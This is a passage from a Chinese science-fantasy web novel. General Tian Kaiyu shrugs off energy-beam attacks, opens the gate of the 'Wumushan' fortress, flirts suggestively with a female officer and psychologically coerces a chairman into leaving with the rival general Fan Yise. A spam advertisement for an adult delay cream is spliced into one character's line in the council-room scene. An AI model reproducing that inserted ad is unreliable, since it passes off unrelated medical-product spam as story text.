“胡说!这不可能!”提雷布里大将厉声怒斥,指着梵衣色的影像喝道:“天将军刚来熠京没有多久,又怎么可能与这案子有关?梵衣色你不得血口喷人,诬陷好人!”说话间,他不安地转向身后的天开语,生怕他会因此而生气--要知道,现在天将军可是风君他老人家的大红人,可是得罪不起啊!
天开语的表情却平静如水,丝毫没有因为梵衣色的指证而现出慌乱的样子。
缓缓驱策冲扬,如流水一般滑到提雷布里大将的身边,天开语淡淡说道:“提雷布里将军,既然梵衣色将军这么说,就请将我暂时收监好了。”
“对,如果提雷布里将军将他收监,衣色立刻执行诺本查将军转达的决定!”
梵衣色立即跟着说道。
天开语淡然一笑,昂首对梵衣色波动的影像说道:“好好,想不到梵衣色将军居然因为离宇凄大老的复出,无法再执掌月亮城而对我如此怨恨。既然真的这么想解决天开语,那么将军为何不自己出来,与我对决一场呢?将军尽管放心,我不会-置将军于死地的。”
身后立刻传来大片叫好的声音。
“梵衣色,你听到了吗?天将军虽然年轻,却实是我东熠一条铮铮汉子!你若还有血性,就当回应天将军的提议!”提雷布里大将大喝着配合天开语的挑战。他深信以天开语的实力,在二人交手时,梵衣色绝对讨不了好去。
“天开语,衣色知道你是个不简单的人。虽然目前衣色尚没有确切的证据,但是衣色坚信,你与此案有深切的关联!”梵衣色避而不谈天开语的挑战,反而继续坚持自己的猜测。
“你这无耻之徒!还不快快打开大门,或许会给一个过得去的结局!”提雷布里大将指着梵衣色影像怒斥道。
天开语伸手轻轻按下提雷布里大将,低声道:“将军不必动怒。对于这个阴险小人,我已经在月亮城时就见识过了。对了,请将军把他在熠京的后台找出来便可,这里就由我来对付。”
“天将军你?”提雷布里大将眉头一皱,不解望着天开语。
“很明显梵衣色是在公报私仇。不过没关系,相信今天的局面,我还可以应付得来。”天开语轻松地笑道。
“可是他们……有武器在手……”提雷布里大将吃惊道。他想像不出,天开语能有什么办法解决此事。
“为了不让大家有伤害,我想,还是由我一人到“五木山”内走一趟比较好。”
天开语淡淡说道。
“什么?天将军切不可如此轻率!”诺本查将军在旁也听在耳内,顿时吓了一跳,失声叫道。
“嘿,怕什么!对了,二位将军请回去吧,记着让所有人加强护盾防护能量即可。我怕梵衣色这个疯子会做出什么失格的事来。”他这么说,其实是在暗示提雷布里和诺本查二人:梵衣色也许会借助“五木山”内强大的武装力量,向外面包围的警宪发动突然攻击。
“天将军--”提雷布里大将和诺本查将军大吃一惊,急忙劝阻天开语,不过此时天开语的冲扬上已经失去了他的身影,二人举目看时,却见他已经到了“五木山”大门和警宪军阵的中间地带。
不顾身后众人的连声呼唤,天开语已呈“透形幻影”的身体凝浮在半空中,浑身散发出淡淡的白色光晕,在夜色的映衬下,显得别有神秘意味。
“梵衣色,如果你认为可以对付得了我的话,就尽管出手好了。”天开语语气平淡地对着前方高大厚重的大门道。
“哼!不相信你当真功玄通天,可以抵挡得了能量光束的攻击!”梵衣色的影像露出仇恨之色,恶狠狠地瞪着半空中的天开语。
“唉……”天开语长长叹了一口气,开始迈步。
空气登时凝固了一般,包围着“五木山”的军阵一片死寂,无数道紧张担心的目光落在了天开语的身上,没有人知道,接下来会发生什么样的事情……
“不要--”一声凄厉的女人尖呼蓦然从军阵之中传出!
几乎就在同一时刻,一道炽白的光芒从“五木山”的大门上方闪电射出!
提雷布里大将等心脏登时提到喉咙--“轰--”
白光之后,巨响再次发出。
“啊--”一声大叫从提雷布里大将的嘴里吼出!
众人惊见,那道本来是射向天开语的能量光束,竟然正正地击中了提雷布里大将的冲扬护盾!
--这是怎么回事?
--为什么明明是攻击天将军的,却会击中提雷布里大将?
目睹此景的所有人,无不一头雾水,不明白事情的蹊跷之处。
--难道是天将军被那能量光束在瞬间蒸发,所以未尽的攻击才会击中提雷布里大将?
心中一齐涌起近乎相同的猜测,所有的目光本能地再次转向天开语……
奇异的景象再次出现。
所有人看到,众目睽睽之下,那个被一层白芒笼罩的天将军,竞如履平地似的,迈着悠然自得的步伐,向着“五木山”的大门一步步前进!
军阵立刻一片哗然。
眼前的景象,实在令在场之人难以置信。
他们知道,在那光速的攻击之下,这世上根本就不可能有人可以躲避得了毁灭性的能量打击。
可是他们却又不得不相信,因为天开语仍屹立在夜空之中,从身影看,并无半点不妥的迹象。
“天哪,他……他怎会如此强大……”喃喃自语着,提雷布里大将几乎要呻吟了。看到天将军像是走在坚硬的平地上一般稳健,他终于知道,这个人为何会受到风院尊的极度重视了--“虚空蹈步”,这根本就是神话传说中的行为,今夜却在自己的眼前出现!
显然,攻击未能奏效也大大地出乎了梵衣色的意料,眼见天开语步步走近,一股莫名的惊慌油然升上他的心头:这小子,难道真的得了天道?为何刚才的攻击对他一点作用也没有呢?难道他的实力真的已经达到四大院尊的程度吗?
“哼,看来你真的很想进这‘五木山’了!”梵衣色又惊又怒,完全失去了平日的沉稳斯文,下令“五木山”守卫:“继续阻止他!”
话音刚落,五道能量光束便一齐发射,正好将天开语可能躲避的范围笼罩。
这回军阵里的每个人都瞪大了眼睛,试图看出先前不解的答案来。
数千双眼睛注视之下,奇景再次发生。
只见那五道能量光束准确地射到了天开语的身上,但是几乎没有什么阻碍地,迳直穿过他的身体,向身后的军阵射来!
数声能量光束与护盾冲击的巨响过后,众人看到,那被能量光束贯穿的天开语,却依然故我地稳步前行,似乎他的身体根本就是一个幻影,一个如同“五木山”
大门之上梵衣色全息影像一样的幻影。
整个原野寂静一片。
夜风的呼啸声,卷动着每个人几乎停滞跳动的心脏。
包括梵衣色的影像,也是一动不动。
且久--“幻圣……他是“幻圣”……”
不知是什么人的嘴里低低地念出了这个流传在民间的称号。
““幻圣”万岁!”
““幻圣”!“幻圣”!“幻圣”……”
人群中呼喊着“幻圣”名字的声音越来越多,越来越宏大,最终汇聚了一股洪流,一浪接着一浪地冲击着荒原中的“五木山”,似乎要用这个雄壮的声音,将它轰倒!
似乎与人群口号的声音呼应,在茫茫夜色之中,一步一步行进在虚空中的天开语,周身光芒随着每迈出的一步,便扩大一分,便明亮一分!
“五木山”完全沉默了!
没有一道能量光束再度从大门内射出,似乎里面的人也被外面的景象震慑,而失去了应对“幻圣”的勇气!
黑暗的大门,在天开语全身释放的万丈光辉之下一览无遗,甚至连门上巨大的铆钉也映照得一清二楚。
提雷布里大将和诺本查将军所率领的军阵中每一个人,都被眼前灿烂的光芒所映照、震撼,一种被征服的敬畏发自内心地汹涌而出,几乎不约而同,无数道冲扬的行灯打开,射向被炽烈的光华笼罩,已经看不到身形的天开语处,表达他们最衷心的景仰。
梵衣色的全息影像,已被天开语的光华映照得仅剩下依稀可辨的残影,便是这惨澹恍惚的残影,也可以让人看到惊慌和绝望。
“开门吧!”一声闷雷也似的声音从夺目的光华中传出,几乎在声音在原野回响的同时,那看上去高大沉重、坚固无比的“五木山”大门,便“轰”地剧烈震动起来,跟着便一点点向内打开了!
“看!大门开了!”
“天哪!幻圣把大门打开了!”
“幻圣万岁!”
欢呼声再次响彻原野!
提雷布里大将不得不相信,眼前这个天将军,是足以同四大院尊中任何一人匹敌的绝世武者--不,他根本就是个神话,是东熠这块大地上诞生的新的武道之神!
提雷布里大将深知,那“五木山”的大门,乃是由不可想像的巨大磁力控制开关的,那两扇门之间的接合磁力,足足有数千万吨之巨,加之难以想像的高压电流充斥其问,常人不要说靠近后会被烧成灰烬,便是靠它近一些,都会因毁灭性的磁力辐射,而丧失生理机能,甚至变成白痴!
可是这天将军,这伟大的“幻圣”,却不但令强大的能量光束攻击失去威力,更打开了简直只有神才可以打开的“五木山”大门!
冷静地看着眼前的一切,天开语心中再次涌起君临天下的宏大感,悲怆感。
他终于明白,什么是悲天悯人。
这种感受,只有力量达到可以颠覆这个世界的时候,才会产生。
“透形幻影”的悟果,令他的修为一脚踏进了天道的大门,从此再也不会受到这世间力量的约束和伤害。
他深切地知道,自己已经超越了这个世上的所有人类,正站在生命的真正巅峰--只有真正达到这个境界的人,才会有这样明确的认知!
对于可以操纵“洞天百眼”的大地之子来说,眼前“五木山”大门的磁能,只不过是大海的一朵浪花而已,天开语轻而易举地便推开了它的阻碍。
大门终于缓慢而平稳地完全打开。
万丈光芒随着大门的打开,而一泄千里地铺满了门内的每一个角落。那些门内的灯光,在天开语光辉的照耀下,都显得那样昏暗而渺小,仿佛是太阳周围的弱小星辰。
天开语继续一步一步地走进“五木山”,随着他的步伐,他身上的光芒也开始一点一点地淡化,直至重新回到先前那被一层薄薄光晕笼罩的形态。
目光所及,地上已经黑压压地跪伏着放弃反抗的“五木山”守卫。
“我只是为了捍卫东熠的律法,难道你们不懂吗?”轻轻地,天开语开口吐出了这句话,但就是这普通的一句话中,他已经渗入了“幻梦大医者”的“梦”,将自己王高无上、伟岸正直的形象贯注到了地上跪伏的每一个人脑海深处。
“幻圣万岁!”
“幻圣万岁……”
几乎异口同声,跪伏在地上的守卫们,一齐高喊着口号,那声音之中,充满了对大开语的臣服和忠诚!
在他的身后,以提雷布里大将和诺本查将军为首的警宪军人,正如潮水涌来。
“就知道你也会来。”
“当然了,每一个宪督都必须到的!”
“那声尖叫是你的吧?”
“是啊,你不知道那时真把人家吓死了!”
“幸好没吓死,不然哪来现在的快活呢?”
“去,坏死了你……”
“嘿,临时通知,没有耽误你什么事吧?”
“没有……唔……也有一些吧!”
“哦?是什么事情?”
“是……人家在洗澡,但心里一直想着你,可是被紧急命令给打扰了……”
“是吗?那可真是要把那个发通知的家伙打一顿屁股了!”
“不要嘛,这是工作,人家也应该来的嘛!”
“呵呵,那就算了,饶了他吧!”
“就是嘛,要是不来,又怎么会见到你大展神威呢?”
“是吗?怎么样,看上去,那个造型还行吧!”
“岂止还行,简直神气得要死了!”
“呸呸,神气还会要死啊!”
“人家只是这么形容嘛,小气鬼……”
“什么?说我小气?”
“当然了,人家只是说说,就要算帐!”
“好了好了,不算帐还不行吗?”
“这还差不多……对了,刚才你没看到大家简直要疯了,从来没有见过有人可以这样子的!”
“真的从来没有人这样吗?”
“当然没有,就连四大院尊,也从未在公开场合展示他们的力量。他们的力量,只是在传说中吟颂呢!”
“嘿,只怕时间久了,我也会成为传说。”
“嗯,那肯定会的。但是我们却亲眼看到了这个传说!”
“很幸运吧!”
“是啊,太幸运了!不过相比他人,人家还多了一样呢!”
“哦?是吗,多了什么,可以告诉我吗?”
“当然,因为这样东西,是我们两个一起分享的。”
“究竟是什么?”
“是……嘻嘻,不许挠人家,人家怕痒痒--是幸福啊!”
“嗯……”
“怎么不说话了?难道不是吗?”
“当然是幸福,看到你开心的样子,我也很高兴。”
“对了,我们是否要出去一下……噢……不要弄人家嘛,让人家收拾一下……衣服都皱了……”
“好的。”
“对了将军大人,你准备怎样处置那个梵衣色呢?他好讨厌的。”
“这可由不得我随便做主,毕竟处理将军一级的人物,要经过一套严谨流程。”
“嗯,要经过中央主席团会议的吧?”
“或许吧,小丫头不要乱猜,跟你没关系的事情知道得越少越好。”
“还说人家是小丫头,你又比人家大多少?嘿,人家看过将军大人的履历了,可是小了两岁哦!”
“胡说,你又懂什么?我……好了,不说了,是该出去了。”
“好啦好啦,人家不说了,等等,马上就好了……”
“来,亲一口。”
“嗯……手好坏,又摸人家胸口……”
“嘻嘻,谁要它们这么翘翘挺挺的呢?”
“你好坏……不要啦……唔……”
房门打开,天开语同申司由恭一前一后走出。
在会议室等候的提雷布里大将和诺本查将军等人看到,天开语固然是满面春风,便是美女宪督申司由恭,也是俏靥晕红、羞意盈然。
“天将军!”“呼啦”一声,以提雷布里大将为首,当夜参与行动的所有将领齐齐起立,向天开语致意。
“大家请坐,不用这么客气……来来来,快坐吧!”天开语一面平易近人地招呼着众人,一面主动坐在了次席,让出了主位。
“请天将军上座!”提雷布里大将忙躬身让座。
天开语微笑着看他一眼,摆手道:“那怎么行呢?提雷布里将军才应该坐主持位置--对了,刚才让大家等这么久,实在失礼得很,天开语向诸位将军道歉了!”说着欠了欠身子,向座上众人点头示意。
“哪里哪里,如果今天不是天将军出手,依这梵衣色的计画,恐怕要进行一场小规模的战斗了!”诺本查将军连连摇头。他知道,今晚如果因梵衣色而造成警宪部人员伤亡的话,他这个宪首的位置怕是坐不稳了。
“就是啊,天将军“幻圣”的尊号果然名不虚传呐!今天眼见为实,着实令人震撼!”会议桌尾一位将军感叹道。
“好了,大家不要再说了,再说我可担当不起了。对了,还有多久,冥星的人犯可以返回?”天开语打断众人阿谀,转回正事问道。
“还有十来分钟就可抵达了。我们已经收到讯号。”提雷布里大将答道。
“天将军准备怎样处置梵衣色呢?”诺本查将军神情紧张地问天开语道。
“这个……提雷布里将军应该比我更加清楚吧,这方面我还不是很了解……”
天开语故作懵懂道。身后的申司由恭不觉一怔,瞥他一眼,不解他为何会说出与之前告诉自己不一致的话来。
“按照常规,梵衣色在末被完全解职之前犯罪,是要经过军政部、军职部、主席团三重审理,最后根据罪过轻重来进行相对的处罚;但眼下他犯下这种重罪,即便天将军就地将其解决,相信也不算过分的。”提雷布里大将具体说明了处理梵衣色的大致程式。
“正是如此。其实按照之前的事情经过,已经可以就地处决梵衣色了!”诺本查将军点头道。
天开语知道他这话的意思。的确,如果在“五木山”大门之外,一连三次的能量光束攻击均造成结果的话,恐怕现在提雷布里大将和诺本查将军就已经不能坐在这里说话了。从这方面来说,梵衣色的确具备就地处决的条件。
不过天开语想的却更为深层。
在丰富的人生经历支持下,他自信自己从来不会看错人。
这梵衣色,绝不会是那种莽撞行事之人呀!
仅从他敢如此大胆地抗拒由老头子主持会议所产生的决定,便知道他的背后一定有强大的背景支撑!
会是什么人给他这样强势的支撑呢?
答案只有一个,就是中央主席团。
天开语以其“霸”的经历,以其对熠京结构体系的高度了解,得出了这个答案。
他敏锐地觉察到,在熠京中央,已经隐隐形成了分裂的势力。而其中最明显的,便是以老头子所控制的提雷布里大将一方军武力量,而另一股,便是中央主席团。
看来,长期的军政统治,终究引起了中央主席团的不满,令其开始反击了!
“不用了。如果不出意外的话,现在主席团的人已经在“五木山”的门口了。”
天开语抿了抿嘴,对众人道。
“什么,主席团?”提雷布里大将登时一惊,随即神情一凛,马上想到天开语猜测的那方面去。
“不会吧?主席团又怎会知道今晚的行动呢?”诺本查将军摇头怀疑道。
“不需要有人暗地通知,因为今晚梵灰色的行为,本来就是主席团支持的。”
天开语淡淡说道。
一语惊天。
在座众人这才醒过来,纷纷交头接耳议论不止。
“不错,天将军这么说完全有可能。”提雷布里大将连连点头道。
“难道这梵衣色自到熠京以来,就一直在管理方面,对本宪首阳奉阴违,原来后面有人撑腰啊!”诺本查将军也是一脸的不愤之色,显然梵衣邑到警宪部以来,也给他带来了不少的困扰。
就在众人你一言我一语地斥骂梵衣色时,门外已经有人通报了:“费尔·希思主席到!休息一下 广告时间:持久延时外用成人用品黑寡妇煞星1%达克罗宁油膏早泄克星”
--果然来了……
天开语身子往后一仰,轻吐了一口气,这个结果正与自己的判断相符。
看了看天开语,眼中露出恼怒之色,提雷布里大将低低地骂了声:“果然给天将军说中了!费尔·希思主席正是当时力主梵衣色回到熠京的主席团主席之一!”
天开语笑笑,道:“是吗?既然现在他来了,总不能让他在外面等着。”
诺本查将军与提雷布里大将交换了下眼神,点点头,道:“请费尔·希思主席进来!”
话音刚落,一个身材瘦高、神情倨傲的男子一身黑衣走了进来。
“向费尔·希思主席致敬!”提雷布里大将毕竟囿于级别和礼节:心中虽千万个不愿,仍不得不起立行礼。会议室内众人立时轰然一片,跟随着提雷布里大将向费尔·希思主席敬礼。
“大家请坐吧!”费尔·希思主席只略略点头做为回礼,便大剌剠地坐在了尚空着的主位上。
“这位便是人称“幻圣”的天开语将军吗?唔……果然年轻有为啊!”目光瞥向天开语一方,费尔·希思主席皮笑肉不笑地说了一句。在他的表情中,殊无半点对天开语这个所谓“幻圣”的惊讶或者重视。
“还好吧!”天开语眼睛却看也不看费尔·希思一眼,只冷淡地回应了一声。
费尔·希思的眼中立刻闪过一道怒色,低哼了一声,抬头扫视在座将领一遍,索性开门见山道:“本主席想知道,今晚的行动负责人是哪位将军!”
提雷布里大将正欲说是自己时,天开语这时却抢先开了口:“是我。”
登时举座哗然,众人面面相觊,没有人理解为什么在这个时候,天开语会抢着承担责任,因为费尔·希思主席的语气,分明就是来兴师问罪的!
“天将军你……”提雷布里大将焦急道。
天开语看了他一眼,不紧不慢地继续说道:“是我奉风院尊之命,前来阻止梵衣色将军错上加错的。怎么,费尔·希思主席觉得不妥吗?”不动声色问,他已经埋下了一颗不利风流扬的种子……
“哼!”闷哼一声,费尔·希思瞪了天开语一眼,见后者仍是一脸的冷漠,并无一点将自己这主席放在眼里的样子,偏又不好与他计较,不禁心中发堵,遂转向提雷布里大将,语气不善道:“是吗?本主席好像记得,根据我东熠法典,四大院尊非是在生死关头,是不参与军政管理的吗?为何这位天将军会说出这样的话呢?”抬手制止了提雷布里大将张口欲说的话,他接着道:“何况梵衣色将军此次这么做,完全是符合正规流程,是经过主席团批准的。我们主席团特批允许梵衣色将军在了结此案之后,才领受处罚,那么这位天将军的行为,是否不合规定呢?”
提雷布里大将心中涌起对天开语的感激。
冲动过后,他才深深地领会到了天开语刚才抢先开口的重要性!
如果不是天将军抢先承担行动的责任,那么此刻费尔·希思主席这番话所针对的对象,可就是他提雷布里了!
现在费尔·希思主席随随便便的一句话,便将整个局势从根本上扭转了过来--是啊,风君固然是左右熠京的军武力量,但毕竟在暗处和公开是不一样的呀!
从正常的程式和规宅来看,他老人家的确是不可以轻易干涉中央军政的……
不过提雷布里也隐隐感觉事情有些不对劲--主席团似乎不应该以这样的态度对待风君的……
突然哂笑一下,天开语闭眸向后,仰靠在高背椅上,道:“那么费尔·希思主席想怎么做呢?”说完这句话,他突然双眼一睁,登时一股凛列的杀气迫然而出,有如实质的两道利刃般直射费尔·希思!
费尔·希思立刻浑身的血液几为之凝!
--天,这个天开语,是否想杀人灭口?
这个恐惧的念头在瞬间从费尔·希思的脑中浮现出来,而且愈来愈清晰!
“你……你想做什么?”他反射性地叫道,举止间已经失去了刚刚进来时的骄矜自大。
“你认为我想做什么呢?”天开语冷笑一声,目光中的杀伐之意愈盛,甚至那气势逼得费尔·希思的肌肤都有种隐隐刺痛的感觉。
“你你……你不要乱来!”在天开语结合了强大压力、以及无人可拟的精神控制力的作用下,费尔·希思几近崩溃,忍不住叫了起来。他本能地想跳起来,可是不知为什么,似乎自己的身体又不受控制……
“我只问费尔·希思主席,您想做什么!”天开语再次催逼道。
“我……我要带梵衣色将军走!”惊惶失措下,费尔·希思主席的判断力完全失去了正常的控制,事先做好的周密计画也在天开语一手制造的精神重压下荡然无存,脑中只剩下一片空白,只知脱口而出内心最想做的事情。
目的终于达到。
天开语的眸中掠过一抹嘲讽,继续以强大的精神压力施加在费尔·希思的身上,道:“是吗?您是说现在就带他离开?”
费尔·希思已经无法控制自己的恐惧,浑身已开始哆嗦起来。此时此刻他心中只剩下一个念头,就是:尽快从这个令人胆寒的家伙身边离开!立刻从“五木山”出去!
所有的压力在倏怱间悉数收回。
天开语沉声对提雷布里大将道:“提雷布里将军,还有在座的各位都听到了,费尔·希思主席要带梵衣色离开,大家可有意见吗?”说着向提雷布里大将丢了个眼色。
提雷布里大将此时哪还不会意天开语的意思?当下立刻首先表态:“既然费尔·希思主席这么决定,想必是为了维护正常的律法流程,那么--诺本查将军,麻烦您亲自走一趟,将梵衣色将军转交费尔·希思主席,然后着人护送他们回熠京。”
“是!”诺本查将军此时也大致明白一些天开语的意思,便马上起身,向费尔·希思道:“请费尔·希思主席离开这里,随诺本查去提人。”
尽管天开语的精神控制已经取消,但强大的后遗症却仍然影响着费尔·希思的思维。耳朵一听诺本查将军说要离开,立刻便站了起来,连告别礼也不行,便一脚深一脚浅地逃出了会议室。
“现在大家也都看到了,费尔·希思主席亲自提走了梵衣色。”一片寂静的会议室里,天开语轻呼一口气,说道。
提雷布里大将立时会意:“不错,固然我们缉捕梵衣色将军的手续有误,但是费尔·希思主席这么做,似乎也十分欠妥--哈尔巴察将军,这间会议室里有记录吗?”
这时会议长桌末处一位身材壮硕的将军起立答道:“有!在五木山,所有的会议室都安装了全天候自动影像记录。”
提雷布里大将点点头,示意哈尔巴察将军坐下,转而对天开语道:“天将军请放心,此事绝不会让将军一人承担。提勒回去后会立即请示风君,务必不让天将军受到损害。”
天开语却淡淡一笑,岔开话题,道:“好像运送人犯的天体舱应该到了吧!”
“是,应该到了!唉,天将军在这时候仍然心系工作,实在是令提勒汗颜呐!”
提雷布里大将一拍脑门叹道。
“走!我们一起去接收人犯!”他立刻发布命令道。
丰富的人生经验,令天开语在这场形势不断变化的较量中再次扳回了优势。
通过主动出击,他终于成功地达到了自己的目的,可以与狱炼豪和小柯皮见面。
其实在猜到中央主席团会来人交涉之际,他便动起了脑筋。
根据经验判断,他知道来人一定会以正式公务流程的方式,来打击提雷布里大将率领的警宪部队。毕竟老头子不是军政之人,只是一个精神的领袖和象征。即便老头子真想下达什么命令的话,也应当先透过主席团--当然,主席团一定会通过他的命令,但像眼前发生的这件事情,却说明了老头子太过嚣张,太过将人世间的规条不放在眼里.既然已经出现失误,那么他天开语就必须尽快弥补!
所以他才会想出将来人与梵衣色尽快逼走的计策来。
因为他深知,那个主席团的来人一定会纠缠不休,一个应对不好,不但会将局势弄僵,更有可能在那人的主持下,现场审理自冥星遣返的人犯!而这种结果一旦发生,自己所有的努力便成为泡影,再无法挽回了……所以只有梵衣色快速滚蛋,他才可以继续进行自己的计画。
现在目的达到,虽说后面要补救的工作比较烦人,便也管不了这么多了!
从“五木山”呈上的纪录来看,狱炼豪和小柯皮的身份应该还未暴露,由于行动太过匆忙,梵衣色还未来得及验明每个人犯的身份,便将他们一古脑儿地押上了天体舱,运往冥星。因此,此时原封未动遣返的天体舱,仅仅有一个精确的人数,而没有任何有关纪牌之类的纪录。
--嘿,梵衣色啊梵衣色,你虽然猜到了老子与他们有关,但却太过心急,犯下了一个不可饶恕的错误……
天开语一面行进在前往天体舱的途中,一面心中暗自得意。
“他们不会对你不利吧……”身边紧紧跟随的美丽宪督申司由恭担心地问道。
由于天开语对她毫不掩饰的亲爱,令她的身份在顷刻间从众多宪督中脱颖而出,成为了瞩目的焦点。这令她在爱及天开语的同时,女孩子的虚荣心也得到了极大的满足。
“到了--”送走费尔·希思主席和梵衣色,重新折返回来带路的诺本查将军在前面提醒众人道。
长长的走廊尽头,豁然开朗,一个宽阔高大的椭圆形空间出现在众人眼前。
天开语看到,就在那空间的正中,一具庞大的红色天体舱安稳地停在起落架上。